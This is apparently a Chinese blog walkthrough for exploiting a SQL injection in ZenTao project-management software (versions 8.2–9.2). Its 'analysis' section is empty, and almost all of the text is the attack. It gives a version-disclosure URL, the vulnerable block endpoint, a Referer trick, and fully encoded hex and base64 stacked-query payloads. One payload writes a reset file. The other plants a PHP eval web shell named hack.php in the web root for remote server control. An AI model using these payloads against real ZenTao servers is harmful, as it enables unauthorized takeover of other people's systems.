·  漏洞分析


附上某老哥的漏洞分析,来了解下原理。


·   漏洞利用


查看版本:


访问Url:http://127.0.0.1/zentao/index.php?mode=getconfig即可获取禅道的版本号以及一些其他的信息,目前漏洞存在于v8.2~v9.2

确定版本号之后,我们就可以尝试GetShell利用漏洞,根据另一个老哥博客提供的***方法获取站点路径然后注入一句话***,但我试了一下,获取的并不是完整的路径,而是模块路径的报错,后来换了一种思路,有兴趣的朋友可以看下哪位老哥的漏洞利用


查看密码忘记文本路径:


访问Url:http://127.0.0.1/zentao/user-reset.html

写入忘记密码的文本:


shell语句命令:


select '' into outfile /opt/zbox/app/zentao/tmp/reset_5c7e631454ae5.txt'


HEX编码:(注意加密解密都不带0x,但是EXP中需要加上)


73656c65637420272720696e746f206f757466696c65202f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356337653633313435346165352e74787427


注入文件语句:


{"orderBy":"order limit 1;SET @SQL=0x73656c65637420272720696e746f206f757466696c65202f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356337653633313435346165352e74787427;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}


base64加密:


eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwMjcyNzIwNjk2ZTc0NmYyMDZmNzU3NDY2Njk2YzY1MjAyZjZmNzA3NDJmN2E2MjZmNzgyZjYxNzA3MDJmN2E2NTZlNzQ2MTZmMmY3NDZkNzAyZjcyNjU3MzY1NzQ1ZjM1NjMzNzY1MzYzMzMxMzQzNTM0NjE2NTM1MmU3NDc4NzQyNztQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==


使用火狐的HackBar插件工具进行注入:


提交地址:
http://127.0.0.1:81/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=base64

※exp需要base64加密后才能提交,且回显、写Shell须加上Referer:http://127.0.0.1/zentao/

我们通过注入刚才的文本文件后,进入后台->备份获取禅道的安装位置,这里显示的是 /opt/zbox/app/zentao/tmp/backup/201903060030545.sql.php,那么站点的目录的位置就是 /opt/zbox/app/zentao/www,然后通过上面的方式再注入一句话***


shell语句命令:


select '<?php @eval($_POST[123456])?>' into outfile '/opt/zbox/app/zentao/www/hack.php'


HEX编码:


73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027


注入文件语句:


{"orderBy":"order limit 1;SET @SQL=0x73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}


base64加密:


eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwMjczYzNmNzA2ODcwMjA0MDY1NzY2MTZjMjgyNDVmNTA0ZjUzNTQ1YjMxMzIzMzM0MzUzNjVkMjkzZjNlMjcyMDY5NmU3NDZmMjA2Zjc1NzQ2NjY5NmM2NTIwMjcyZjZmNzA3NDJmN2E2MjZmNzgyZjYxNzA3MDJmN2E2NTZlNzQ2MTZmMmY3Nzc3NzcyZjY4NjE2MzZiMmU3MDY4NzAyNztQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==

注入之后我们就可以通过GetShell工具进行服务器的控制连接